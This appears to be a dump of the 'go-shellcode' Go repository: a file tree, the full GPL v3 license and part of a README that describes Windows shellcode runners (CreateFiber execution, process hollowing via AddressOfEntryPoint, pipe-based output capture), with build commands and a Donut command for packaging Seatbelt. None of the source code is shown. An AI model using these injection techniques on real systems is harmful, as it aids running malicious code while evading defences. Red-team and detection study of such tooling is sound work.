├── LICENSE
├── README.MD
├── cmd
├── CreateFiber
│ └── main.go
├── CreateProcess
│ └── main.go
├── CreateProcessWithPipe
│ └── main.go
├── CreateRemoteThread
│ └── main.go
├── CreateRemoteThreadNative
│ └── main.go
├── CreateThread
│ └── main.go
├── CreateThreadNative
│ └── main.go
├── EarlyBird
│ └── main.go
├── EnumerateLoadedModules
│ └── main.go
├── EtwpCreateEtwThread
│ └── main.go
├── NtQueueApcThreadEx-Local
│ └── main.go
├── RtlCreateUserThread
│ └── main.go
├── ShellcodeUtils
│ └── main.go
├── Syscall
│ └── main.go
└── UuidFromString
│ └── main.go
├── go.mod
└── go.sum
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.MD:
--------------------------------------------------------------------------------
1 | # go-shellcode
2 |
3 | `go-shellcode` is a repository of Windows Shellcode runners and supporting utilities. The applications load and execute Shellcode using various API calls or techniques.
4 |
5 | The available Shellcode runners include:
6 |
7 | * [CreateFiber](#CreateFiber)
8 | * [CreateProcess](#CreateProcess)
9 | * [CreateProcessWithPipe](#CreateProcessWithPipe)
10 | * [CreateRemoteThread](#CreateRemoteThred)
11 | * [CreateRemoteThreadNative](#CreateRemoteThreadNative)
12 | * [CreateThread](#CreateThread)
13 | * [CreateThreadNative](#CreateThreadNative)
14 | * [EarlyBird](#EarlyBird)
15 | * [EtwpCreateEtwThread](#EtwpCreateEtwThread)
16 | * [NtQueueApcThreadEx (local)](#NtQueueApcThreadEx-(local))
17 | * [RtlCreateUserThread](#RtlCreateUserThread)
18 | * [Syscall](#Syscall)
19 | * [Shellcode Utils](#ShellcodeUtils)
20 | * [UuidFromStringA](#UuidFromStringA)
21 |
22 | ## CreateFiber
23 |
24 | This application leverages the Windows [CreateFiber](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfiber) function from the `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection and want to avoid calling `CreateThread`. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function.
25 |
26 | **NOTE:** I have not figured out way to have the process exit and you will have to manually terminate it.
27 |
28 | The application can be compiled with the following command on a Windows host from the project's root directory:
29 |
30 | `set GOOS=windows GOARCH=amd64;go build -o CreateFiber.exe .\cmd\CreateFiber\main.go`
31 |
32 | ## CreateProcess
33 |
34 | This application leverages the Windows [CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw) function from `Kernel32.dll`. The process is created in a suspended state, the [AddressOfEntryPoint](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32) in the `IMAGE_OPTIONAL_HEADER` structure is updated to execute shellcode in the childprocess, and then the process is resumed. This is a type of process hollowing but the existing PE is **NOT** unmapped and the ThreadContext is **NOT** updated. The provided shellcode architecture (i.e. x86 or x64) must match the architecture of the child process.
35 |
36 | The application can be compiled with the following command on a Windows host from the project's root directory:
37 |
38 | `set GOOS=windows GOARCH=amd64;go build -o CreateProcess.exe .\cmd\CreateProcess\main.go`
39 |
40 | ## CreateProcessWithPipe
41 |
42 | This application leverages the Windows [CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw) function from `Kernel32.dll`. The process is created in a suspended state, the [AddressOfEntryPoint](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32) in the `IMAGE_OPTIONAL_HEADER` structure is updated to execute shellcode in the childprocess, and then the process is resumed. This is a type of process hollowing but the existing PE is **NOT** unmapped and the ThreadContext is **NOT** updated. The provided shellcode architecture (i.e. x86 or x64) must match the architecture of the child process.
43 |
44 | This application differs from [CreateProcess](#CreateProcess) because it will collect any data written to **STDOUT** or **STDERR** in the child process and return it to the parent process. Data is collected by using the [CreatePipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe
45 | ) function to create an anonymous pipe that the parent and child process communicate over. This is usefull when using tools like [Donut](https://github.com/TheWover/donut) to execute a .NET assembly in a child process as shellcode and to retrieve the output of the executed program. The following command can be used to generate position-independent shellcode to run [Seatbelt](https://github.com/GhostPack/Seatbelt) with Donut [v0.9.3](https://github.com/TheWover/donut/releases/tag/v0.9.3):
46 |
47 | `.\donut.exe -o donut_v0.9.3_Seatbelt.bin -x 2 -c Seatbelt.Program -m Main -p "ARPTable" Seatbelt.exe`
48 |
49 | The application can be compiled with the following command on a Windows host from the project's root directory:
50 |
